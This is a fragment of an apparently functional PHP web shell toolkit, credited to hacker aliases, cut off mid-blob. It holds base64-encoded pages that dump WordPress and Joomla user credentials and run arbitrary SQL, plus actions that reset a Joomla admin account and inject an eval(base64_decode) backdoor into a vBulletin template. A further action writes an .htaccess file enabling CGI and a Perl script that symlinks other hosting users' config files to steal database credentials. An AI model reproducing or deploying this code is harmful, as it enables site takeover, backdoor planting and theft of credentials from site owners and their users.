Jm5ic3A7OjwvdGQ+DQogICAgIDx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idXNlciIgLz48L3RkPg0KPC90cj4NCg0KPHRyPg0KICAgICA8dGQ+UGFzcyA6PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBhc3MiLz48L3RkPg0KDQo8L3RyPg0KDQo8dHI+DQogICAgIDx0ZD5kYiZuYnNwOyZuYnNwOyZuYnNwOzo8L3RkPg0KICAgICA8dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRiIiAvPjwvdGQ+DQo8L3RyPg0KPHRhYmxlIGNsYXNzPSJ0YWIyIiBjZWxscGFkZGluZz0iNCIgYWxpZ249ImNlbnRlciIgd2lkdGg9IjQ1JSI+DQo8dHI+DQogICAgICA8dGQ+IDxiciAvPjxjZW50ZXI+c2hvdyBtZW1iZXJzIEluZm9ybWF0aW9uPC9jZW50ZXI+PGJyIC8+IDwvdGQ+DQo8L3RyPg0KDQoNCjx0cj4NCg0KICAgICAgPHRkIGNvbHNwYW49IjYiIGFsaWduPSJjZW50ZXIiIHdpZHRoPSI3MCUiPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU1FMIiBtYXhsZW5ndGg9IjMwIiAvPiAgPGlucHV0IHR5cGU9InJlc2V0IiB2YWx1ZT0iY2xlYXIiIG1heGxlbmd0aD0iMzAiIC8+IDwvdGQ+DQoNCjwvdHI+DQogIDwvdGFibGU+DQogPC9mb3JtPiAgPC9kaXY+JzsNCg0KJGhvc3QgPSAkX1BPU1RbJ2hvc3QnXTsNCiR1c2VyID0gJF9QT1NUWyd1c2VyJ107DQokcGFzcyA9ICRfUE9TVFsncGFzcyddOw0KJGRiICAgPSAkX1BPU1RbJ2RiJ107DQokaW5kZXggID0gJF9QT1NUWydpbmRleCddOw0KDQppZihpc3NldCgkaG9zdCkgKSB7DQokY29uID1AIG15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MpIG9yIGRpZSA7DQokc2VkYiA9QCBteXNxbF9zZWxlY3RfZGIoJGRiKSBvciBkaWU7DQokc3FsID0gJ3NlbGVjdCAqIGZyb20gYHdwX3VzZXJzYCc7DQokcXVlcnkgPUAgbXlzcWxfcXVlcnkoJHNxbCwkY29uKTsNCg0KaWYgKCRxdWVyeSkNCnsNCg0Kd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hc3NvYygkcXVlcnkpKQ0Kew0KDQplY2hvICINCjxiciAvPjxiciAvPjx0YWJsZSBjZWxscGFkZGluZz0nNCcgY2VsbHNwYWNpbmc9JzQnIGFsaWduPSdjZW50ZXInIGNsYXNzPSd0Ym0nPg0KPHRyPg0KICAgICAgIDx0ZD5JRCA6PC90ZD4NCiAgICAgICA8dGQ+dXNlciA6PC90ZD4NCiAgICAgICA8dGQ+cGFzcyA6PC90ZD4NCiAgICAgICA8dGQ+ZW1haWwgOjwvdGQ+DQoNCjwvdHI+DQoNCjx0cj4NCiAgICAgICA8dGQ+Ii4kcm93WydJRCddLiI8L3RkPg0KICAgICAgIDx0ZD4iLiRyb3dbJ3VzZXJfbG9naW4nXS4iPC90ZD4NCiAgICAgICA8dGQ+Ii4kcm93Wyd1c2VyX3Bhc3MnXS4iPC90ZD4NCiAgICAgICAgPHRkPiIuJHJvd1sndXNlcl9lbWFpbCddLiI8L3RkPg0KPC90cj4NCg0KPC90YWJsZT4NCg0KICAiOw0KDQp9DQoNCiAgfQ0KZWxzZSBpZiAoISRxdWVyeSkNCnsNCiAgZWNobyAiZXJyb3IiOw0KfQ0KDQp9ZWxzZQ0Kew0KICBlY2hvICI8Y2VudGVyPjxiciAvPjxkaXYgY2xhc3M9J2NvbSc+ISA/Pz8/ID8/Pz8/PyA/Pz8/Pz8/IDxiciAvPjxiciAvPjwvZGl2PjwvY2VudGVyPiI7DQp9DQoNCg0KICBicmVhazsNCg0KDQogICAgY2FzZSA5Og0KDQoNCiAgZWNobyAnDQoNCjxkaXYgY2xhc3M9ImNvbSI+DQo8Zm9ybSBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGNlbGxwYWRkaW5nPSI0IiBhbGlnbj0iY2VudGVyIiB3aWR0aD0iMzUlIiBjbGFzcz0idGFiIj4NCiA8YnIgLz4NCg0KPHRyIj4NCiAgICAgPHRkPkhvc3QgOjwvdGQ+DQogICAgIDx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iaG9zdCIgdmFsdWU9ImxvY2FsaG9zdCIgLz48L3RkPg0KPC90cj4NCg0KPHRyICI+DQogICAgIDx0ZD51c2VyJm5ic3A7OjwvdGQ+DQogICAgIDx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idXNlciIgLz48L3RkPg0KPC90cj4NCg0KPHRyPg0KICAgICA8dGQ+UGFzcyA6PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBhc3MiLz48L3RkPg0KDQo8L3RyPg0KDQo8dHI+DQogICAgIDx0ZD5kYiZuYnNwOyZuYnNwOyZuYnNwOzo8L3RkPg0KICAgICA8dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRiIiAvPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjx0YWJsZSBjbGFzcz0idGFiMiIgY2VsbHBhZGRpbmc9IjQiIGFsaWduPSJjZW50ZXIiIHdpZHRoPSI0NSUiPg0KDQoNCjx0cj4NCiAgICAgPHRkPlRhYmxlIHVzZXIgOjwvdGQ+DQogICAgIDx0ZCBjb2xzcGFuPSI2Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iam9wIiB2YWx1ZT0iam9zX3VzZXJzIiAvPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCg0KPHRhYmxlIGNsYXNzPSJ0YWIyIiBjZWxscGFkZGluZz0iNCIgYWxpZ249ImNlbnRlciIgd2lkdGg9IjQ1JSI+DQo8dHI+DQogICAgICA8dGQ+IDxiciAvPjxjZW50ZXI+c2hvdyBtZW1iZXJzIEluZm9ybWF0aW9uPC9jZW50ZXI+PGJyIC8+IDwvdGQ+DQo8L3RyPg0KDQoNCjx0cj4NCg0KICAgICAgPHRkIGNvbHNwYW49IjYiIGFsaWduPSJjZW50ZXIiIHdpZHRoPSI3MCUiPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU1FMIiBtYXhsZW5ndGg9IjMwIiAvPiAgPGlucHV0IHR5cGU9InJlc2V0IiB2YWx1ZT0iY2xlYXIiIG1heGxlbmd0aD0iMzAiIC8+IDwvdGQ+DQoNCjwvdHI+DQogIDwvdGFibGU+DQogPC9mb3JtPiAgPC9kaXY+JzsNCg0KJGhvc3QgPSAkX1BPU1RbJ2hvc3QnXTsNCiR1c2VyID0gJF9QT1NUWyd1c2VyJ107DQokcGFzcyA9ICRfUE9TVFsncGFzcyddOw0KJGRiICAgPSAkX1BPU1RbJ2RiJ107DQokam9wICA9ICRfUE9TVFsnam9wJ107DQoNCmlmKGlzc2V0KCRob3N0KSApIHsNCiRjb24gPUAgbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcykgb3IgZGllIDsNCiRzZWRiID1AIG15c3FsX3NlbGVjdF9kYigkZGIpIG9yIGRpZTsNCiRzcWwgPSAnc2VsZWN0ICogZnJvbSBgYm83NHJfdXNlcnNgJzsNCiRxdWVyeSA9QCBteXNxbF9xdWVyeSgkc3FsLCRjb24pOw0KDQppZiAoJHF1ZXJ5KQ0Kew0KDQp3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2Fzc29jKCRxdWVyeSkpDQp7DQoNCmVjaG8gIg0KPGJyIC8+PGJyIC8+PHRhYmxlIGNlbGxwYWRkaW5nPSc0JyBjZWxsc3BhY2luZz0nNCcgYWxpZ249J2NlbnRlcicgY2xhc3M9J3RibSc+DQo8dHI+DQogICAgICAgPHRkPklEIDo8L3RkPg0KICAgICAgIDx0ZD51c2VyIDo8L3RkPg0KICAgICAgIDx0ZD5wYXNzIDo8L3RkPg0KICAgICAgIDx0ZD5lbWFpbCA6PC90ZD4NCg0KPC90cj4NCg0KPHRyPg0KICAgICAgIDx0ZD4iLiRyb3dbJ2lkJ10uIjwvdGQ+DQogICAgICAgPHRkPiIuJHJvd1sndXNlcm5hbWUnXS4iPC90ZD4NCiAgICAgICA8dGQ+Ii4kcm93WydwYXNzd29yZCddLiI8L3RkPg0KICAgICAgICA8dGQ+Ii4kcm93WydlbWFpbCddLiI8L3RkPg0KPC90cj4NCg0KPC90YWJsZT4NCg0KICAiOw0KDQp9DQoNCiAgfQ0KZWxzZSBpZiAoISRxdWVyeSkNCnsNCiAgZWNobyAiZXJyb3IiOw0KfQ0KfWVsc2UNCnsNCiAgZWNobyAiPGNlbnRlcj48YnIgLz48ZGl2IGNsYXNzPSdjb20nPiEgPz8/PyA/Pz8/Pz8gPz8/Pz8/PyA8YnIgLz48YnIgLz48L2Rpdj48L2NlbnRlcj4iOw0KfQ0KICBicmVhazsNCiAgZGVmYXVsdDoNCiAgaGVhZGVyKCJMb2NhdGlvbjogJHBlYWciKTsNCiAgfQ0KICB9DQoNCmVsc2UNCnsNCmVjaG8gJw0KDQo8ZGl2IGNsYXNzPSJjb20iPg0KPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCjx0YWJsZSBjZWxscGFkZGluZz0iNCIgYWxpZ249ImNlbnRlciIgd2lkdGg9IjM1JSIgY2xhc3M9InRhYiI+DQogPGJyIC8+DQoNCjx0ciI+DQogICAgIDx0ZD5Ib3N0IDo8L3RkPg0KICAgICA8dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Imhvc3QiIHZhbHVlPSJsb2NhbGhvc3QiIC8+PC90ZD4NCjwvdHI+DQoNCjx0ciAiPg0KICAgICA8dGQ+dXNlciZuYnNwOzo8L3RkPg0KICAgICA8dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVzZXIiIC8+PC90ZD4NCjwvdHI+DQoNCjx0cj4NCiAgICAgPHRkPlBhc3MgOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJwYXNzIi8+PC90ZD4NCg0KPC90cj4NCg0KPHRyPg0KICAgICA8dGQ+ZGImbmJzcDsmbmJzcDsmbmJzcDs6PC90ZD4NCiAgICAgPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkYiIgLz48L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8dGFibGUgY2xhc3M9InRhYjIiIGNlbGxwYWRkaW5nPSI0IiBhbGlnbj0iY2VudGVyIiB3aWR0aD0iNDUlIj4NCjx0cj4NCiAgICAgPHRkID5TUUwgQ01EIDo8L3RkPg0KICAgICA8dGQ+PHRleHRhcmVhIHJvd3M9IjMiIG5hbWU9InNxbCI+PC90ZXh0YXJlYT48L3RkPg0KPC90cj4NCg0KDQo8dHI+DQoNCiAgICAgIDx0ZCBjb2xzcGFuPSI2IiBhbGlnbj0iY2VudGVyIiB3aWR0aD0iNzAlIj4gPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNRTCIgbWF4bGVuZ3RoPSIzMCIgLz4gIDxpbnB1dCB0eXBlPSJyZXNldCIgdmFsdWU9ImNsZWFyIiBtYXhsZW5ndGg9IjMwIiAvPiA8L3RkPg0KDQo8L3RyPg0KICA8L3RhYmxlPg0KIDwvZm9ybT4gPC9kaXY+JzsNCg0KJGhvc3QgPSAkX1BPU1RbJ2hvc3QnXTsNCiR1c2VyID0gJF9QT1NUWyd1c2VyJ107DQokcGFzcyA9ICRfUE9TVFsncGFzcyddOw0KJGRiICAgPSAkX1BPU1RbJ2RiJ107DQokc3FsICA9ICRfUE9TVFsnc3FsJ107DQoNCmlmKGlzc2V0KCRob3N0KSApIHsNCiRjb24gPUAgbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcykgb3IgZGllIDsNCiRzZWRiID1AIG15c3FsX3NlbGVjdF9kYigkZGIpIG9yIGRpZTsNCg0KJHF1ZXJ5ID1AIG15c3FsX3F1ZXJ5KCRzcWwsJGNvbikgb3IgZGllOw0KDQppZiAoJHF1ZXJ5KQ0Kew0KICBlY2hvICI8Y2VudGVyPjxiciAvPjxkaXYgY2xhc3M9J2NvbSc+fl9eID8/ID8/Pz8/Pz8/PzxiciAvPjxiciAvPjwvZGl2PjwvY2VudGVyPiI7DQp9DQplbHNlIGlmICghJHF1ZXJ5KQ0Kew0KICBlY2hvICJlcnJvciI7DQp9DQoNCn1lbHNlDQp7DQogIGVjaG8gIjxjZW50ZXI+PGJyIC8+PGRpdiBjbGFzcz0nY29tJz4hID8/Pz8gPz8/Pz8/ID8/Pz8/Pz8gPGJyIC8+PGJyIC8+PC9kaXY+PC9jZW50ZXI+IjsNCn0NCn0NCj8+DQo8L2Rpdj4NCjxkaXYgY2xhc3M9ImZvdGVyIj48YnIgLz48YnIgLz5Db2QzZCBieSA6IGFsLXN3aXNyZSBfIG95M0Bob3RtYWlsLmNvbTxiciAvPiA8YnIgLz5TYXVkaSBBcmFiaWEgaDR4MHJTPC9kaXY+DQo8YnIgLz4=';$file = fopen("sql_cmd.php" ,"w+");$write = fwrite ($file ,$symlinker);fclose($file); echo "Click Here";}elseif ($action == 'joochange') {if(empty($_POST['pwd'])){echo "Host        :

Database :

Username :

Password :

Set A New Username For Login :

The Password is : SQL

";}else{$localhost = $_POST['localhost'];$database = $_POST['database'];$username = $_POST['username'];$password = $_POST['password'];$pwd = $_POST['pwd'];$admin = $_POST['admin']; @mysql_connect($localhost,$username,$password) or die(mysql_error()); @mysql_select_db($database) or die(mysql_error());$hash = crypt($pwd);$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 62") or die(mysql_error());$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 62") or die(mysql_error());if($SQL){echo "Success

~ Coded By

Damane2011";}}}elseif($action == "vbchange") {if(empty($_POST['index'])){echo "
host : database :

username : password :

 

";}else{$localhost = $_POST['localhost'];$database = $_POST['database'];$username = $_POST['username'];$password = $_POST['password'];$index = $_POST['index']; @mysql_connect($localhost,$username,$password) or die(mysql_error()); @mysql_select_db($database) or die(mysql_error());$index=str_replace("\'","'",$index);$set_index = "{\${eval(base64_decode(\'";$set_index .= base64_encode("echo \"$index\";");$set_index .= "\'))}}{\${exit()}}";$ok=@mysql_query("UPDATE template SET template ='".$set_index."' WHERE title ='spacer_open'") or die(mysql_error());if($ok){echo "!! update finish !!

 

";}}}elseif($action == "configler") {@mkdir("config", 0755) or die("Can't Create A new Dir !!");@chdir("config");$hta = ".htaccess";$file_create = "$hta";$file = fopen ($file_create , 'w') or die ("Can't Open File !!");$htaccess = ""; $htaccess = "AddHandler cgi-script .damOptions allAddType text/plain .phpAddHandler server-parsed .phpAddType text/plain .html"; fwrite ( $file , $htaccess) ;fclose ($file);$configshell = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50JzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyIgLz4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04IiAvPg0KPHRpdGxlPi46IERhbWFuZTIwMTEtRHogOi48L3RpdGxlPg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCi5uZXdTdHlsZTEgew0KIGZvbnQtZmFtaWx5OiBUYWhvbWE7DQogZm9udC1zaXplOiB4LWxhcmdlOw0KIGNvbG9yOiAjODAwMDgwOw0KIGJhY2tncm91bmQtY29sb3I6ICMwMDgwMDA7DQogdGV4dC1hbGlnbjogY2VudGVyOw0KfQ0KPC9zdHlsZT4NCjwvaGVhZD4NCic7DQpzdWIgbGlsew0KICAgICgkdXNlcikgPSBAXzsNCiRtc3IgPSBxeHtwd2R9Ow0KJGtvbGE9JG1zci4iLyIuJHVzZXI7DQoka29sYT1+cy9cbi8vZzsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWd1cmUucGhwJywka29sYS4nLXNob3AudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvb3MvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1zaG9wLW9zLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL29zY29tL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictb3Njb20udHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvb3Njb21tZXJjZS9pbmNsdWRlcy9jb25maWd1cmUucGhwJywka29sYS4nLW9zY29tbWVyY2UudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvb3Njb21tZXJjZXMvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1vc2NvbW1lcmNlcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaG9wL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictc2hvcDIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2hvcHBpbmcvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1zaG9wLXNob3BwaW5nLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3NhbGUvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1zYWxlLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FtZW1iZXIvY29uZmlnLmluYy5waHAnLCRrb2xhLictYW1lbWJlci50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcuaW5jLnBocCcsJGtvbGEuJy1hbWVtYmVyMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9tZW1iZXJzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLW1lbWJlcnMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlnLnBocCcsJGtvbGEuJy00aW1hZ2VzMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLWZvcnVtLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtcy9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLWZvcnVtcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJGtvbGEuJy01LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRrb2xhLictNC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cDEzLXdwLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL1dQL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AxMy1XUC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC9iZXRhL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AxMy13cC1iZXRhLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cDEzLWJldGEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJlc3Mvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cDEzLXByZXNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtd29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL1dvcmRwcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtV29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cDEzLVdvcmRwcmVzcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93b3JkcHJlc3MvYmV0YS93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtd29yZHByZXNzLWJldGEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3cy93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtbmV3cy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXcvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cDEzLW5ldy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AtYmxvZy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iZXRhL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AtYmV0YS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9ncy93cC1jb25maWcucGhwJywka29sYS4nLXdwLWJsb2dzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvbWUvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cC1ob21lLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Byb3RhbC93cC1jb25maWcucGhwJywka29sYS4nLXdwLXByb3RhbC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3Atc2l0ZS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9tYWluL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AtbWFpbi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC90ZXN0L3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AtdGVzdC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hcmNhZGUvZnVuY3Rpb25zL2RiY2xhc3MucGhwJywka29sYS4nLWlicHJvYXJjYWRlLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FyY2FkZS9mdW5jdGlvbnMvZGJjbGFzcy5waHAnLCRrb2xhLictaWJwcm9hcmNhZGUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYTIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJvdGFsL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYS1wcm90YWwudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvby50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbXMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLWNtcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYS1zaXRlLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21haW4vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLW1haW4udHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1qb29tbGEtbmV3cy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXcvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLW5ldy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYS1ob21lLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictdmJ+Y29uZmlnLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiMy9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLXZiM35jb25maWcudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2MvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy12YjF+Y29uZmlnLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictaW5jbHVkZXMtdmIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY2xhc3NfY29yZS5waHAnLCRrb2xhLictdmJsdXR0aW5+Y2xhc3NfY29yZS5waHAudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY2xhc3NfY29yZS5waHAnLCRrb2xhLictdmJsdXR0aW5+Y2xhc3NfY29yZS5waHAxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NjL2luY2x1ZGVzL2NsYXNzX2NvcmUucGhwJywka29sYS4nLXZibHV0dGlufmNsYXNzX2NvcmUucGhwMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG0vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictd2htMTUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2VudHJhbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy13aG0tY2VudHJhbC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG0vd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictd2htLXdobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9XSE1DUy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy13aG0tV0hNQ1MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htYy9XSE0vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictd2htYy1XSE0udHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJGtvbG